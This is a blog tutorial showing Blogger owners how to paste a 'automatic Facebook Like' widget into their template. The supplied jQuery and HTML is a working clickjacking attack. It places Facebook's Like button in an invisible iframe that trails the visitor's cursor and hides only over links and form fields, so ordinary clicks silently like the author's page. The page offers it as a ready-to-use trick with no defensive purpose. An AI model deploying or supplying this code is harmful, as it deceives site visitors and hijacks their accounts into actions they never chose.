HOW TO ADD AUTOMATIC FACEBOOK LIKE TO BLOGGER?
1. Login to your Blogger Dashboard.
2. Click the drop-down menu and select Template.
3. Backup your Template before making any changes.
4. Click Edit HTML ---> Proceed ---> Expand Widget Templates.
5. Click Ctrl+F and search the code below:
</head>
5.Just above </head> tag, paste the code below:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js" type="text/javascript">
</script>
<script type='text/javascript'>
function ClickJackFbHide(){
jQuery("div[id^=\'clickjack-button-wrapper\']").hide();
}
function ClickJackFbShow(){
jQuery("div[id^=\'clickjack-button-wrapper\']").show();
}
</script>
6. Next, click Ctrl+F and search the code below:
</body>
Note: This code is a jQuery based widget and your blog must have the jQuery plugin. If your blog already have a latest jQuery plugin (the highlighted line), then ignore this code and directly proceed to the next step.
7. Just above </body> tag, paste the code below:
<div id="clickjack-button-wrapper-5" style="position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)'; margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden">
<!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->
<iframe src="http://www.facebook.com/plugins/like.php?href=https://www.facebook.com/sdtfnation&layout=button_count&show_faces=false&width=50&action=like&colorscheme=light&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;" allowTransparency="true"></iframe>
</div>
<script type="text/javascript">
jQuery( document ).ready( function() {
$( "#clickjack-button-wrapper-5" ).parent().mousemove( function( e ) {
jQuery( "#clickjack-button-wrapper-5" ).css( {
top: e.pageY - 10,
left: e.pageX + 30
} );
} );
clickjack_hider();
var clickjack_fb_timer = setTimeout("clickjack_hider()",5000);
} );
function clickjack_hider(){
jQuery("input").mouseout(function(){ClickJackFbShow();});
jQuery("a").mouseout(function(){ClickJackFbShow();});
jQuery("button").mouseout(function(){ClickJackFbShow();});
jQuery("textarea").mouseout(function(){ClickJackFbShow();});
jQuery(".ratingblock").mouseout(function(){ClickJackFbShow();}); jQuery("object").mouseout(function(){ClickJackFbShow();});
jQuery("input").mouseover(function(){ClickJackFbHide();});
jQuery("a").mouseover(function(){ClickJackFbHide();});
jQuery("button").mouseover(function(){ClickJackFbHide();});
jQuery("textarea").mouseover(function(){ClickJackFbHide();});
jQuery(".ratingblock").mouseover(function(){ClickJackFbHide();}); jQuery("object").mouseover(function(){ClickJackFbHide();});
}
</script>
8. Replace https://www.facebook.com/sdtfnation with your Facebook Page URL.
Now click Save Template and you are done!
Click Here to Download both Codes in .txt file
Warning!
There are some issues you might face using this script in your blog or website, the first thing is that when you or your readers drag or highlight the text they might not able to select the text as they will a see semi visible Like button which will be attached to your mouse cursor as it moves, the second one some other gadgets might get affected and act weirdly.
0 comments :
Post a Comment